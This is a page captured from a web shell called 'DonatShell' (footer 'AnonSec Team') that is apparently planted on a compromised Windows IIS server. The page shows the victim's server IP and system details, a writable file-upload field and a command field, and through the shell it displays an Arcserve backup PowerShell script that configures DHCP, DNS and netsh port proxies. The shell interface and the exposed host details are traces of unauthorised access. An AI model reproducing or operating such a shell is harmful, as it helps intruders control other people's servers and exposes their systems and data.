DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files/CA/arcserve Unified Data Protection/Engine/BIN/Appliance/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Program Files/CA/arcserve Unified Data Protection/Engine/BIN/Appliance/setdns.ps1
$arcrunpath = $(split-path $myinvocation.invocationname -parent)
cd $arcrunpath

$DHCPdoneFlagFile = "dhcpdone.flag";

$Type = "Win32_NetworkAdapterConfiguration" 
$ExcludeIP = "192.168.10.1"
$ScopeId = "192.168.10.0"
$VMIp = "192.168.10.2"
$NATVMName = "Linux-BackupSvr";
$DNSSuffixArray = @();
$DNSServerArray = @();
$DNSSuffixsStr="";
$HostDNSnamesStr="";

$TotalTime2Wait = 0;
$DHCPReady = $false;

while ($TotalTime2Wait -lt 300)
{
    if (Test-Path $DHCPdoneFlagFile -PathType Leaf){
        $DHCPReady = $true;
		 Write-Host 'DHCP Server is ready';
        break;
    }
    Start-Sleep -s 2;
    $TotalTime2Wait = $TotalTime2Wait + 2;
}

if ($DHCPReady -ne $true){
    Write-Host 'DHCP Server is not ready';
    return;
}

#################################Set NAT#####################################################
.\setnat.ps1

#################################Set DNS#####################################################
Start-Sleep -s 6

$LinuxVM = Get-VM -Name $NATVMName
$NICDisconnected = $false;
if ($LinuxVM.State -eq "Running"){
	Get-VMNetworkAdapter -VMName $NATVMName | Disconnect-VMNetworkAdapter;
	$NICDisconnected = $true;
}

$AdapterSet = gwmi $Type | Where-Object {$_.IPEnabled -eq 'True'}
Foreach ($Class in $AdapterSet){
    $bValidNic=$true;
    Foreach ($IP in $Class.IPAddress){
       if ($IP -eq $ExcludeIP){
            $bValidNic = $false;
            break;
       }
    }
    
    if ($bValidNic -ne $true)
    {
        continue;
    }
    
    Foreach ($DNSSuffux in $Class.DNSDomainSuffixSearchOrder){
        $bExist = $false;
        Foreach($ExistedDNSSuffix in $DNSSuffixArray){
            if ($DNSSuffux -eq $ExistedDNSSuffix)
            {
                $bExist = $true;
                break;
            }
        }
        
        if ($bExist -ne $true){
            $DNSSuffixArray += @($DNSSuffux);
            if ($DNSSuffixsStr -ne ''){
                $DNSSuffixsStr += ' ';
            }
            $DNSSuffixsStr += $DNSSuffux;
            
            if ($HostDNSnamesStr -ne '')
            {
                $HostDNSnamesStr += ' ';
            }
            $HostDNSnamesStr += $Class.DNSHostName + '.' + $DNSSuffux;
        }
    }
    
    Foreach ($DNSServer in $Class.DNSServerSearchOrder){
        $bExist = $false;
        Foreach($ExistedDNS in $DNSServerArray){
            if ($DNSServer -eq $ExistedDNS)
            {
                $bExist = $true;
                break;
            }
        }
        
        if ($bExist -ne $true){
            $DNSServerArray += @($DNSServer);
        }
    }
}

$ComputerSystem = gwmi win32_computersystem;
if ($($DNSSuffixArray.Count) -gt 0){
    
    if ($ComputerSystem.PartOfDomain -eq $true){        
        try{
			add-dhcpserverindc;
		}catch{
			write-host "This machine is part of a domain and the DHCP server failed to be authorized. Please contact your domain administrator to authorize the DHCP server before using the Arcserve UDP Linux Backup server." -foregroundcolor red -backgroundcolor yellow
			#pause;
		}		
    }
    
	Write-Host 'HostDnsName:'$HostDNSnamesStr
    Write-Host 'DNSSuffixSearchOrder:'$DNSSuffixsStr
    Set-DhcpServerv4OptionValue -ScopeId $ScopeId -DnsDomain $DNSSuffixsStr
}

if ($($DNSServerArray.Count) -gt 0)
{
    Write-Host 'DNSServerSearchorder: '$DNSServerArray;
    Set-DhcpServerv4OptionValue -ScopeId $ScopeId -DnsServer $DNSServerArray
}


if ($NICDisconnected -eq $true){
	Start-Sleep -s 2
	Get-VMSwitch –SwitchType 'Internal' | Connect-VMNetworkAdapter -VMName $NATVMName
}

netsh interface portproxy add v4tov4 listenport=8018 connectaddress=$VMIp connectport=8014 protocol=tcp;
netsh interface portproxy add v4tov4 listenport=8019 connectaddress=$VMIp connectport=22 protocol=tcp;



Anon7 - 2022
AnonSec Team